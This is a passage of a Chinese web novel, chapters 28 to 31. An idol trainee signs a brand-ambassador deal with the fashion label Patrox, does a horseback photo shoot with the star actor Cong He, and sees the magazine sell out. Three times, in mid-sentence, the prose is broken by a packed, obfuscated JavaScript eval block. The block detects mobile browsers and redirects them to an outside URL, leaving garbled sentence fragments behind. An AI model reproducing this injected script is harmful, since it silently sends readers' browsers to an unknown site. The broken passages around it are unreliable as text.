人不就是这样吗?一件在旁人看来或许根本没有什么特别意义的事情,甚至在本人看来本也该毫无意义的事情,只要带有目的性地去进行翻译、解读,我们总是能从中获得想要的价值。 这就是人类的天才之处。 我们依靠这种天性和本能而活,而进化。 傅寻砚应该更坦诚一点,他的目标,现在是出道。 他要成为一个可以托付信任的偶像,永远光明,永远向上,永远能像启明星那样给予指引,永远是粉丝的骄傲。 所以,他想出道,想拥有更大的影响力。 为此,他和叶莱必然存在竞争关系,同时他不希望这种竞争伤害到叶莱,他必须让他明白,他们可以成为惺惺相惜、相互认可的对手。 28.第二十八日 “来,请你们两人都侧脸对着我,没错。”戴着八角帽的摄影师手持照相机,不住地调整站位。 “很好,我先拍两张定格照,别动哈。” 咔嚓几声过后,摄影师低头查看照片,“哇哦确实很不错,很清爽的少年感。” 《新世纪》的工作人员凑过去也看了一眼,“真的诶,好帅,不愧是我们《新世纪》的两扇门面。不过,也都亏陈摄影师技术好啊,要不然也不会把美貌发挥到百分百。” 摄影师被夸高兴了,嘴不是那么严实地漏了风。 “拍这种非艺术照的关键要素其实有三个啦:模特、模特,还是模特。” “你们这边明显比《前进吧》要好很多。” 哦~原来前进吧也已经在拍中插啦,工作人员所有所思地接过摄影师喝完水的纸杯离开。 说起来,他们已经很久没听到《前进吧》那边的声音了,最近《新世纪》因为傅寻砚而频频上热搜,似乎把对方气焰完全打压下去了。 加上沈导非常机智地改成半直播模式,先出舞台的《新世纪》自然率先夺下了市场,反败为胜,除非《前进吧》那里诞生神级舞台,否则看起来是没机会超过他们啦。 真不错,这可是自己参与的第一个项目,竟然取得那么好看的成绩,以后就算离开这个团队去其他地方应聘,想来也会成为简历中很好看的一笔。 “你第一次拍广告?看起来挺有经验的。”叶莱有点别扭地开口。 傅寻砚看了他一眼,“啊,广告是第一次拍。” 不过面对镜头却不是第一次。上辈子上班后,公司里但凡涉及到什么新媒体宣传之类的视频,傅寻砚就逃不过被抓壮丁的结局。 所以直面镜头对他而言不算陌生。 结束广告拍摄后傅寻砚又被喊去了办公室,不出意外,是李鹏程的电话,他说已经和林薇薇谈妥,他们希望请傅寻砚明天前往隔壁C市拍摄代言。 一个还没有出道的练习生,拿下国内地位处于高奢一线的大使,这实在是史无前例。 一般而言,一个品牌与明星的合作可粗略分为三个档次,从高到低分别是代言人、大使和品牌挚友。 代言人与品牌的联系最深,涉及支线、全线、全球、地区之间的商业合作。 而大使服务于品牌的形象打造,大致可以看做品牌为了引导近期的风向而给大众展示的“封面”。 挚友的话意义就太小了,品牌利用一些小生小花来扩大下沉市场,增加曝光率而已。 以傅寻砚现在的咖位来看,别说Patrox,国内任何二三线品牌都不可能与他合作,因为他还没有出道,他的未来还是一张白纸。 但偏偏Patrox相中了,宁愿自甘风险也要给傅寻砚机会,甚至不是什么“挚友”,而是“大使”,比不上代言人,却也足够惊人。 其实,看着傅寻砚的脸和他的舞台,所有人都不能否认他所缺少的只是经验和资历而已,他的潜在价值已经超过了太多流量小生。 更何况,Patrox其实也处于困境之中。 Patrox以前并没有“大使”“品牌挚友”之类的title,它的发家是靠小作坊模式,以独特的设计和卓越的品质而在高端线蒸蒸日上。 等到了品牌想再往前拓展的地步,Patrox不得不放下身段,学着流行模式去请代言人和大使,利用明星效应带动自己的知名度。 只是不知道是不是命犯太岁,Patrox迄今为止签约的四位大使……一个都没逃脱塌房的命运。 从偷税漏税到睡粉吸.毒,难以想象为什么这些往日看起来形象正面的明星一勾搭上Patrox,就个个被掀了老底。 Patrox由此被调侃为明星照妖镜。 虽然赚到了热度,甚至收获了大笔的违约金,但对Patrox想要登上国际舞台的目标而言,这些丑闻简直毫无助力。 半年前,新来的执行人想出了一个办法,如果浸淫娱乐圈多年的老前辈们不可信,那么捞一捞新人呢? 就像有些粉丝喜欢养成系一样,他们也来做养成系呢?就像品牌的新发展规划,他们要谦逊地低头,从“蹒跚学步”开始。 可品牌毕竟又不是粉丝,不可能只投入不索取,就算要走养成系这条路,他们所需要的新人依旧必须满足许多条件。 第一,自带一定热度;第二,有潜力有爆像;第三,绝对不会爆丑闻,至少在合作期内不会。 这也是为什么已经考察了半年,Patrox依旧没能找到与品牌调性相符的新人的原因。 林薇薇一开始就觉得执行人的点子虽妙,执行起来却完全没有可能性。她们到底要去哪里找一个形象又好又符合品牌逼格,还能同时满足上面三条的新人? 作为首席设计师,找大使的事当然不是她的职责,也不会是她的烦恼。 可是作为一名浪漫主义的设计师,林薇薇也逃不过痴迷于美好事物的命运,尤其是当这种脸充满了虚幻的神秘色彩时。 哪里的新人比较多?一,流行网剧多演员新人。二,选秀节目多偶像新人。 如果让林薇薇自由选择,其实她比较青睐前者,高级脸永远比爱豆脸受到时尚市场的欢迎,但当热搜将傅寻砚的照片推给她时,她扔下手里的工作就开始找这男孩的信息。 然后决定托关系拿到内场票,去看《新世纪》一公。 她来之前就在想,就算傅寻砚不行,光看脸的话这档节目有好几个小年轻不错,都可以考虑。她甚至还考虑过周恒宇,但当傅寻砚出现在眼前并为她,啊不,是为观众演唱完那一曲后,所有的备选化为泡影。 就是他了,必须是他! 如果Patrox现在不能签下他,林薇薇敢保证,等他出道后再签的价格绝对能翻个五六倍。 傅寻砚拍完中插回到宿舍楼,整栋楼宇都很寂静,所有宿舍房门紧闭。男孩们都在昏头大睡,前一周熬夜的亏空必须要在今天补回来。 推开204的房门,迎接他的是沈迟的“回来啦”。 他从桌子边抬起头,手里还拿着笔,厚大的眼镜框让他看起来格外淳朴。 “啊,你提醒我了我也还没复习。”看着同为高三牲的沈迟,傅寻砚捂住额头有些痛苦,因为一公的忙碌,他最近对学习有所懈怠。 毕竟人不是铁打的,他不可能每天不睡觉,或在高强度训练下还有精力去复习。 沈迟笑了笑,呲着大白牙,“听说你成绩很好,肯定不用像我这样挤时间啦。” 傅寻砚上次的事情曝光后,狗仔们孜孜不倦深挖试图找出爆点,但去学校采访了一圈,除了“他读书很刻苦的”“他成绩还不错诶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238062|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”“简直神仙好像一天有四十八小时”这种正面反馈,别无所获。 说起来,傅寻砚算是读书有天赋的类型,但是毕竟他所从事的职业让他没有那么多时间学习,所以即便有上一辈子的记忆,他也就中上游的水平。 第一第二什么的,跟他绝对无缘。 清北就不用妄想了,如果完全没有课外时间做练习的情况下他还能上清北,那简直是对埋头苦读的学子的侮辱,不过,充分努力的话末流985他是能赶上的。 话又说回来,傅寻砚打算去艺考。 人生很难得的事情是,能够早早地确定自己想要从事的职业并为之奋斗。 诚然,文化课对于每个新时代学生来说都是素质教育重要的一环,但这与追逐梦想并不冲突。 真正目标清晰的人,完全能够在努力完成素质教育的同时,为梦想早早做积累,而不是放弃任何一者。 我们必须了解的一件事是,大多数人是没有梦想的,必要的读书阶段仅仅成为对抗迷茫的借口。 类似于“啊当时都是你们逼着我读书害我没有时间培养兴趣爱好”“缺乏热情所以只能从事一般工作”之类的。 可当站在人生的这一刻,朝前朝后全部看一遍的话,会发现我们的人生一共就那么长,要是什么都不改变而顺从大流未免太可惜。 成功的概率很小,但即便失败也就这么一次。 如果能够这么想的话,或许有时候改变的抉择就不那么难做出。 傅寻砚永远支持那些敢于为梦想尝试的人,比如旻海,比如达裴。 所以这一次,他也要早早做好规划,认真考虑未来的方向,并对抗根深蒂固的观念所带来的拉扯感,及时做下决定。 “啊傅哥你又在发呆,快点来给我看看这道题。”沈迟一把勾住傅寻砚的脖子。 正在床上翻漫画的达裴瞥过来一眼,笑着摇了摇头。 白闻及开始了日常的打扫,宿舍里充满他“抬腿,放下”的提示声,和扫地机器人很像。 这个宿舍的不寻常之处在于他们很少讨论节目相关的话题,他们更多关注的是“你喜欢吃什么”“你家那有什么好玩的”“那本侦探小说到底还更不更新”。 镜头后窥探他们的人认为这是上位圈的余裕,却死也不肯承认,或许别人是真的把彼此当朋友看待。 “这个的话,按理来说你们学校也教过了吧,相遇追及的变形而已。” 沈迟烦恼挠头,“哥,好哥哥,麻烦讲明白一点,然后呢?相遇追及小学生题我还不会嘛?关键是谁让他们在坐标轴跑了啊!居然还要算函数……” 傅寻砚给他讲完天色已经不早,四人久违地一起去食堂吃了晚饭。 “简直不是人待的地方。”达裴吐槽,“竟然全都只有菜叶子?” 打饭阿姨瞪了他一眼,但看见男孩瘦削的脸还是没把“艺人难道不要管理好身材吗?”的质问说出口。 除了他们进来的第一天,往后节目组的食堂严格执行艺人标准,肉是只有一个鸡胸肉的,其他各种菜叶子和沙拉酱应有尽有。 达裴闷着脸狂炫三碗生菜,然后靠喝酸奶帮助消化,“我现在终于明白公司的那群神经为什么送我走的时候笑得那么恶毒,还要塞给我营养品。” “一米八的大男人吃这么点,我都怕自己虚!” 29.第二十九日 傅寻砚晚上又要请假出基地,沈迟攀在他肩上不肯下来。 他是那种虽然长着一副狂拽外表但实则超级害羞,熟了后又很粘人的类型。 沈迟整个人和树袋熊一样挂在傅寻砚后背,幸好有白闻及在后边托着才不至于滑落摔个屁股墩。 “呜呜呜傅哥哥你又要离开我们去远航了。” “说人话。” “能不能,我是说能不能偷渡一点点小零食进来。”纵然沈迟不是个馋嘴的人,但青春年华被关在基地吃草谁也受不了,“就一点点。” 达裴没有反对,甚至白闻及都罕见的没有出声。 傅寻砚扫了一圈他们的脸,好笑地应下来,“知道了,我会尽量避开选管‘走私’一点进来的。” 三个家伙的嘴角克制不住翘起来,路上有人问他们有啥好事情,三人也是闭嘴不说。 为了避开时时刻刻蹲在侧门的站姐,傅寻砚从前门出去,李鹏程开着自己的车在门口等他。 “李哥,好久不见。” “嗯,上来吧,有好多事要和你商量。” 李鹏程递过来一瓶矿泉水,傅寻砚接过后就放在手边,他从后视镜看了看傅寻砚的脸,不由得感叹红气养人,比起半年前的青涩,才进入节目一个月不到,这孩子的脸就好像进化了。 有一种“杀气”,更加凌厉,更加吸引人的眼球。 “一个是签约公司的事情,我这段时间考察了一下,有三家比较合适,都放在你手边的文件夹里了,你看一下。” “他们那边态度怎么样?” “因为你现在有热度有口碑,所以态度都还不错,唯一的缺点是欺负你资历浅,给的条件不算丰厚。” “欧瑞开出的条件是5年合约,分成三七开,你三他们七。” “另外两家都是10年合约,分成四六,不过这样说也很笼统,你还是看看资料吧。至于我们的待遇,你不用管,我们几个人都同意。” “啊还有江瀚,和你的待遇一样,也算这小子占便宜了。” 李鹏程关于江瀚的评价,傅寻砚不置可否,一边翻看文件一边提问,“欧瑞只签音乐约吗?” “对,他们家其实演艺资源会多一点,但今年拓展了音乐部门,大概是想把你们弄进去充门面。这是好事,因为不管怎么说作为第一个签约的音乐人,资源会向你倾斜。” “而且很重要的是欧瑞可是一线大公司,分成嘛,是少了点,但作为新人这个数也不错了。” “如果你对自己有信心,可以长红十年二十年的,那么这五年的‘委屈’忍一下未尝不可,何况他们也算真心,只分走你的音乐收入,如果你还想转型,到时候重新谈判肯定不止分三成。” 十分钟后傅寻砚看完了所有材料,“就欧瑞吧。” 李鹏程挑了挑眉,“这么快就能决定?” “嗯。”傅寻砚没有多和他解释。 这三家都是业内知名娱乐公司,欧瑞风评最好,也最有实力,不签它才奇怪。虽然看起来三成的收入很少,但欧瑞分走的七成包含了为傅寻砚介绍资源、置装甚至是住房的部分。 比起另外两家,欧瑞的条款很细,很认真,看得出诚意。 “好的,那等Patrox的合约签了,我会联系欧瑞,你给一份授权同意书我就行。” “好。”傅寻砚突然想起什么,“等一下,先签Patrox吗?欧瑞那边会不会生气?” 虽然品牌合作收入不在欧瑞和他分成的范畴里,但就好比背着即将入职的公司在做行业有关的外快,还是有点顾忌的。 “不会。是Patrox那边的要求,他们只和你本人签约,不想后边的经纪公司干涉,这一点我和欧瑞也聊过。” 既然他们都同意,傅寻砚也没什么好说的,自然点头。 Patrox五年前已经注册了公司,在C市高新区有一栋办公楼,工作人员接傅寻砚进去后,不一会林薇薇就亲自过来见他了。 这位首席设计师十分时尚,有一头利落的短发,眉眼虽说不上漂亮,但整个人很精神,有一种成熟锋利的魅力,她不太在乎常人的眼光,涂着深棕接近黑色的口红。 见到傅寻砚,她没有打招呼,而是一种非常欣赏的眼光将他从头到尾看了一遍,然后眉毛一挑,“你真的很帅。” “但出道以后记得找个好助理,这样的打扮不该再出现了。” 傅寻砚看了看自己,黑色T恤黑色裤子黑色鞋子,没有任何做色块区隔的装饰……从时尚的角度看确实很糟糕。 “好的。”他应下。 对方直接领他进入核心办公区,作为首席,林薇薇直接在楼里拥有一整层的使用权,里边被分割为两大块,一块供给她团队的其他员工使用,另一块则属于林薇薇自己,堆放着各种杂质以及布料。 “林姐!那个……”一个二十多岁,穿着走涩谷风的漂亮女孩跑进来,表情焦急,但一看到傅寻砚立马住嘴。 林薇薇大概知道是什么事情。 女人从容地扔下手里的墨镜,将昂贵的咖啡豆扔进咖啡机研磨起来,头也不抬,“没事,你直接说就行。” “啊,就是……蒋倩的事情已经被调查清楚了,确实是抄袭了那个博主。”女孩推推装饰用的眼镜,“现在该怎么处理呢?周总想听听您的意见。” “听我的?”林薇薇没好气地翻了个白眼,“我不是和他说过吗?这种人直接开除。” “主要是她之前的产品还在流水线上,开除的话预估会直接产生两百万的损失。” “那又怎么样呢?”林薇薇有些不耐烦了,“Patrox的理念忘了?招所有设计师进来的第一天就说过,如果没法控制自己的手不抄袭,趁早滚。” “虽然现在业务拓展去了非高端线,蒋倩做的也是中低端,但她的行为和Patrox品牌分不开,如果不踢出去,品牌一旦沾上污点就像被毒虫子咬了一口,只会从那一点开始烂。” “两百万的损失,呵。”林薇薇冷酷地笑了一声,“先和蒋倩谈,如果愿意赔偿,一百万的违约金限她五年内还完;如果不愿意,法院直接诉,要求全额赔偿。” “至于里边的差额——你去和周总说吧,只能作为坏账,亏损自负,谁让他步子迈那么大审核又不严。” 女孩唯唯诺诺退了出去。 林薇薇喝了口咖啡,才想起傅寻砚,顺手将另一杯递给他,“不好意思了,让你听到品牌丑闻。” “不算,Patrox的原则我倒是很钦佩。” 林薇薇的眼睛仿佛刺透了灵魂,看着这个沉稳到如一艘行驶在狂风暴雨中又岿然不动的航母的男孩,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243358|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至觉得有些好笑。 所有的试探简直被全部完美防御了。 “说件可能比较冒犯的事情,我真的感觉你很神奇。” “你所表现给公众和我的感觉,都和你的背景很不相称你知道吗?如果不是网上已经把你的过去扒了个干净,我会相信你是个受过贵族教育的富二代精英。” “而且我去看了你的一公,怎么说呢,可能是做时尚的人都有点浪漫过头,你的灵魂比你的外表要成熟许多,我只能这么形容。” 傅寻砚依旧不接茬,微微抿了抿唇,“不管林老师是不是真的在夸我,听着确实还挺高兴的。” 林薇薇捂额头,刚刚还绷紧的表情一下子松了,她身上某种严肃的表象轰然倒塌,恢复到最真实的那面。 “行了,我不试探了,你也许真是个神童。不管你这个人是不是好人,我至少不用担心你在签约期间做坏事或做错事,所以现在我们来谈谈合作。” 傅寻砚也终于笑了,帅气的脸似乎能把工作室照亮,让林薇薇感慨真是只狐狸,有超乎年龄的谨慎。 “Patrox之前一直是做高端定制的,辉煌的过去我也不向你介绍了,我相信你都有了解。” 傅寻砚点头,他从基地出来后就看了大量资料。 “我们向成衣线的拓展也有年头了,但定价一直比较高,和国外那几家真正的蓝血红血在底蕴上又有差距,所以一直没能真正做起来。” “后来想用代言人和大使来带动销售,但……你也知道情况。” “这次我们看中了你,一是因为你的风格和我们比较契合,我们所追求的就是高级的简洁,在融合传统元素的基础上以现代的剪裁和版型突显人体优势。” “二也不瞒你说,你在节目中展现的抗争和努力精神,也与我们的追求不谋而合。虽然Patrox的地位在国内已经很高,但其实按收入和利润来排名,我们很靠后,还只是小公司模式。” “因为我们精益求精,我们追求卓越,不会轻易扩大生产甚至做外包。不是我自夸,Patrox的确要求设计师有着较高的精神追求和自律性。” “我希望我们的合作在过程中是愉快的,在结果上是相辅相成的,你能明白吗?” 傅寻砚点头。 林薇薇松了口气,她从那名男孩的眼神里看到了和自己如出一辙的认真,就算他不发一言,相同个性的人也总能迅速从彼此身上感知到那样的气息。 “那就没什么问题了?条件我先前也给你经纪人了,相信你也看过。”林薇薇翘起了腿,姿态优雅而又闲散地靠在旋转椅靠背上,“那我们可以开始工作了?” “完全可以。”傅寻砚应下。 林薇薇看了看手表,突然站起来,脸上表情与看见傅寻砚时的“惊喜”不同,而是一种与友人暌违已久的“快乐”。 “丛赫也到了,一起去接一下你未来的合作对象吧。” 傅寻砚有些惊讶,林薇薇竟然用“合作对象”来形容丛赫。 丛赫是谁?那可是闪耀在影视圈的大满贯影帝以及模特界大明星。 更何况丛赫一直是Patrox的全线代言人,与他一个大使比起来实在是星光熠熠。说丛赫是傅寻砚的“合作对象”,傅寻砚都觉得高攀。 不是自卑,而是现实地位如此。 30.第三十日 门口的迈巴赫停稳,低调的黑色车厢里率先迈出一条笔直的腿。 随后是那张无论从哪个角度都应被评价为模版的脸。丛赫明年就要迈入三十七岁,他的脸上虽然有自然的岁月的痕迹,但正是这种痕迹为他增添了独特的魅力。 岁月不败美人。 眼尾有几道细纹,破开了如古典雕塑般利落的眉眼间的冷峻。 他有着亚洲男性罕见的深窝眼,琥珀色虹膜在强光下会泛起蜜糖般的透亮质感。 下颌角收得极窄,却因恰到好处的咬肌弧度避免了阴柔感,当指尖无意识摩挲下巴时,修剪整齐的胡茬会在冷白皮肤上投下淡青色阴影。 他身材极为高大,十年前让他获奖的电影培养了他健身的爱好,因此肌肉饱满不累赘,整个人散发着一种古典华贵的气质。 他与林薇薇是高中同学,见面后先是来了个挚友间的拥抱,却在转脸时就看见了傅寻砚。 Patrox的门口此刻堪称闪耀,隔壁楼里的窗户前已经挤满了人,他们看着楼下的一幕,感叹简直像拍电影。 “我的眼睛得到了净化……我原谅今天饱和的工作了。” “哇哦哇哦哇哦这也太帅了,我宣布这就是两个球草——啊算了有点太夸张,亚洲洲草的相遇!” “只有我感叹那个年轻男孩居然不落下风吗?对面可是丛赫啊……” “呜呜呜呜这是我儿子啊!寻宝居然来我公司园区了我的天!” “!!你们说,他们不会是要合作吧?对啊,那可是Patrox楼下!” 、 “我去,好像真有道理!只可惜我们不能发帖子问,啊啊现在好恨园区的保密协定!” 阳光之下,伫立在车前的成熟型男虽然夺目,但跟在女设计师身边的新人不容忽视。 他的眼睛很有特色,一下子就抓住了人们的视线。如狐狸般优雅而危险。睫毛不算浓密,却纤长,在颧骨投下一片阴影。 尤其是垂眸轻笑时,这阴影便与下眼睑的淡红晕彩交融,酿出几分神佛垂怜般的悲悯感。鼻尖缀着颗朱砂色小痣,像白瓷釉面不慎溅落的窑变结晶。 他像一只神秘的蝴蝶,飞过腐烂的森林,携带着堕落的气息飞往新生命。 丛赫略微愣神,尤其是天光轻移,将青年的面孔照亮之时。 “你就是傅寻砚吗?”丛赫轻声询问,态度很亲切,完全没有走T台时的冷峻和作为大前辈的大架子,对待傅寻砚反而像是对待易碎的琉璃。 傅寻砚有些无奈。 自从他过去的故事爆出后,很多比较善良的前辈就会以这样小心翼翼的态度对待他。 “是的,很高兴认识前辈。”傅寻砚不卑不亢,微微鞠了一躬以示尊敬,但眼前立刻出现了一只宽大的手。 傅寻砚有些诧异地抬头,对方浅淡的眼眸里看不出特别的情绪。 丛赫依旧坚持伸着手,傅寻砚抿了抿唇,伸手轻握。 青年的手并不光滑,骨节分明的同时布满了薄茧,那是他过去留下的证明,也是苦难的铁证。丛赫收回手,笑了,出乎预料地一把揽过傅寻砚的肩。 “我们马上可就要一起拍杂志画报了,可别那么拘谨,你这么一个大帅哥站我旁边,我也紧张的,为数不多的老粉要被抢走可怎么办哟?现在的女孩们真是吃得好,很容易爬墙的。” 傅寻砚笑了笑,“不会,您可是经过时代检验的真正型男。” 丛赫仍旧爽朗地笑。 丛赫也应该是个好人,傅寻砚猜想。 他在十五年前拿到满贯后就一直处于半退圈模式,再也没有接过什么电影和电视剧,而是偶尔走走T台拍拍杂志,明摆着珍惜羽毛不想和那些脏污打交道。 也许丛赫的真实人品仍有待考量,但至少从这些能被挖到的事件说明,他没有同流合污。 说起来,这次的合作有点“不规范”,因为按理来说没有“代言人”和“大使”一起上画报的先例,这完全拉平了两者的地位。 可架不住林薇薇有自己的想法,以及丛赫很乐意。 傅寻砚和丛赫不在一个化妆间,但这位大前辈不知道怎么回事,化好妆来看看他,弄好头发来看看他,穿完衣服又来看看他。 盯他盯得很紧,而且不经意就介绍了一个好友,而且这名好友是个心理大牛,而且如果有需要他可以介绍认识。 瞥见丛赫那看似悠闲却又抑制不住流露出些许担心的眼眸,傅寻砚的无奈加深了。 …… 丛赫在失神中对上那位后辈无奈的眼神,刹那松开抱着的手臂站起身来,不自在咳了咳。 “我没别的意思啊,只是说如果需要,如果需要的话。” 傅寻砚抿了抿嘴,趁着化妆师和造型师去拿衣服的时候张口,“嗯我明白的,真的很谢谢前辈……” “丛哥吧,前辈这一套听起来怪怪的。”丛赫当即打断。 “好的丛哥。”傅寻砚乖顺改口,“很感谢丛哥介绍给我医生,也很感谢你的关心,但我现在确实很好,没有一点抑郁,真的一点没有。” 丛赫看过来的眼神好像不是很相信。 傅寻砚笑了,“好吧,如果丛哥你坚持,为了不辜负你的好意,我有问题会联系他的。” 其实两人中,真正有病的是丛赫。 俊朗的男人在听到男孩肯定的回答后松了口气,笑着走出化妆间,没人看见他关上房门的手有多克制,克制到青筋毕露,克制到指节泛红。 林薇薇作为设计师当然要来看看画报的拍摄,她坐在拍摄现场的一张小桌子上在回邮件,一边端起咖啡一边向助理询问。 “他们来了吗?从园地到这里只要十五分钟吧?” 林薇薇抬头看了看天光,下午的光线正好,将这一片草场照耀得金黄,远处两匹马闲适地散着步。 “再催一催吧,丛赫会骑马不用操心,但傅寻砚没有接受过训练,不知道能不能很快上手,别超时。” 两辆车变成了一辆,丛赫邀请傅寻砚一起过来,李鹏程乐见其成,所以先开着不起眼的保姆车回了公司。 车上的人是分别从两侧下来的,所有人都屏住呼吸,眼前的一切都成了慢镜头画面。 原因无他,真的,这两个男人为什么一举一动都像在拍电影?太有氛围感了…… 年长些的男人穿了一套深灰色短西装,良好的裁剪让他身形更加挺拔,配合那张梦女天花板的脸,简直是从漫画里走出来的矜贵公子。 年轻些的就更了不得了,作为一张娱乐圈的新鲜脸蛋,他无疑有那个实力能在瞬间夺走所有人的目光。 妆容和舞台有着明显区别,没有用浅一色的粉底,而是更趋向于自然肤色,让这张脸多了些真实感。 没有眼影,只是用轮廓粉轻扫了一下,让眉眼变得更深邃。 重点在眉毛,舞台时的剑眉被换成了刀眉,整体上扬的同时进行了一定加宽,削弱了“精致感”而增加了“野生感”。化妆师还别出心裁地用眼线笔在他脸上和脖子点了几颗小痣,活色生香。 这次海报的主题是“白马春风”。 傅寻砚摸了摸真正的“合作伙伴”,这是一匹泛着珍珠母贝光泽的银白色的马,眼神乖顺,外行也看得出是一匹“俊马”,不论奔跑实力如何,颜值一定是高的。 它的鬃毛被编成十二条极细发辫,尾端系着陨铁打造的六棱柱吊坠,里头的绿色是高品质翡翠。 “怎么样?看上去性格很好,很适合你这种新手。” 丛赫牵着他的马,与傅寻砚的白马呼应。他的马是赤红色的,毛发很有质感,和丛赫本人的气质很合,有种自内而外的尊贵。 如果傅寻砚的马看起来是悲天悯人的温柔,那丛赫这匹就是眼高于顶的桀骜不驯。 “确实性格挺好的,而且很亲人诶。”傅寻砚毕竟第一次和马近距离接触,他摸了摸那主动低下来的头,眼里不自觉露出喜爱和喜悦。 丛赫又发病了,不自觉提议:“要是喜欢我买下来送你怎么样?” 好像意识到自己这话说的有点不合适,他往回找补,“这是我们第一次合作,想纪念一下。如果担心照料的话,可以就把它寄放在这。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15249978|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅寻砚偏头,丛赫的脸上有他自己意识不到的迷茫。 “千万别。”和丛赫接触了半天,对方很好说话,傅寻砚也就不那么拘着说话了。 “如果买下它,那它就是我的责任了,我得对它负责啊。至少偶尔也得来看看它吧,但……我没有能力和信心坚持。” 丛赫愣了一下,很快又恢复过来,“你说的也是,算了,你当我说着玩的。” “趁着他们在调设备,我教你上马吧?” 傅寻砚点头,两人愉快开始了教学。不过傅寻砚学东西很快,没过十分钟丛赫就没有了用武之地。 “教你真的很没成就感。”丛赫吐槽。 马上的青年挑眉,“那以后有机会拜托丛老师教我策马飞驰吧,那个可能会花多一点时间。” 两人都笑了,恰在这时听到不远处咔嚓的动静。 摄影师不好意思摆了摆手,“这张照片超好看,真的,等会一起放在备用图里给你们看!” 一下午的工作完成得很快,连林薇薇都不由得感叹这真是她见过的最省心的代言人和大使,摄影师要什么造型两人都能摆出来,效率超高。 虽然傅寻砚确实有些生涩,但领悟能力很强,每次摄影师提出问题都能最快改正。 摄影师笑得嘴都咧了,原来预计三百张的照片足足拍到了六百张,而且张张精品,哪怕是连拍的,摄影师也舍不得删掉任何一瞬间。 这绝对是他摄影事业的最高峰!望着摄像机里的画面,摄影师恨不得立刻把照片导出来——虽然他的内存卡都是用的顶级产品,但他现在真的很怕有什么意外导致照片流失。 Patrox这次的海报制作稍显仓促,所以回去后所有职员加班加点制作好了画报以及当季册子,立即投入售卖。 也就是说,这次销售完全没有事前宣传,十分突然。 ** “大新闻诶!”妆容时尚的女孩风风火火咬着三明治闯入办公室,手机晃了晃,屏幕上的界面一看就是Patrox的官方网站。 “你们知道吗?傅寻砚,对,就是前阵子霸凌事件里那个受害练习生,居然官宣和Patrox合作了!他这资源也太好了吧!!” “什么什么!”旁边胖胖的男孩凑过去,“我的老天爷,我是有什么预言能力吗?你问菜菜,我那天看到傅寻砚的照片还说他好适合和P家合作呢。” “哇,我们公司都没事先听到风声,他们瞒的还挺紧的,什么时候决定的合作啊?” 女孩把三明治放下,认真地检索了一下。 “啊,就两天前决定的,说是设计师看了《新世纪》的舞台后,钦点傅寻砚担任大使呢,你看,官方记者会上林薇薇这么讲的。” 男孩也在手机上忙碌地戳戳戳,旋即发出又一声惊呼,“啊啊啊啊啊!是丛赫!” “丛赫不是一直都是P家代言人吗?你喊什么?” “不是啦!是丛赫一个代言人居然愿意和傅寻砚这个刚刚上任的大使合拍杂志,预计封面是双人照,不是,这样的话丛赫优势在哪?” “在首页和末页都是他的单人照啊。你看,这里不是说了吗?傅寻砚应该只有封面双人照,和一张内页双人照,以及中间的两页单人照,丛赫单人占了五页,其他肯定就是P家的御用模特了。” 一办公室的年轻人都激动起来,那可是丛赫! 那也是傅寻砚! 虽然傅寻砚之前好像没有杂质或画报类的产出,但,那可是傅寻砚! 凭借公式照杀上热搜,主题曲MV横杀贴吧,一公舞台近景完虐所有人的傅寻砚! 他就是木着脸站在镜头面前,也是个值得称赞的花瓶啊! “帮我定两本!”胖男孩立刻喊到。 “我也要我也要!可恶早知道这样我就早点注册P家vip了,这个杂志竟然只能vip有权购买,难道不怕卖不完吗?” 沉默了好一会儿的女孩继续沉默,幽幽抬起头叹了口气,举起手机,“多虑了,我们已经来不及了。” 大大的售罄二字标在商品栏下方。 31.第三十一日 这次杂志的首批印发只有2万册。 考虑到目前的购买力,一线杂志由一线流量担任封面的销量普遍在5万册,而Patrox的杂志又不是时尚杂志,作为一个id限购3本的品牌杂志,将预估销量放到2万册都是看在丛赫的面子上。 但或许是阔别选秀四年,他们已经完全错估了选秀节目的流量加成和少男少女们的购买力。 网站链接开放的第一个小时,由于看见消息的人不多,只售出2千册,基本和往期持平。 结果,5点下班时间刚过,仅仅在十分钟之内,剩下的1万8千册被抢购一空。 是的,2015年,只是十分钟而已,就像梦一样,库存唰唰就没了。 大街上,尤其是学校附近和时尚产业附近,到处可以听到哀嚎,到处都是求爷爷告奶奶拜托注册了ID的朋友代购的声音。 Patrox的vip条件不算严苛,但也存在门槛,需要客户到线下门店办理会员。 于是周一的五点,街上出现了神奇的景象。 很多人,大多是年轻女孩,当然还有很多年轻男孩,疯了一样涌入商场,直奔往常门可罗雀的Patrox。 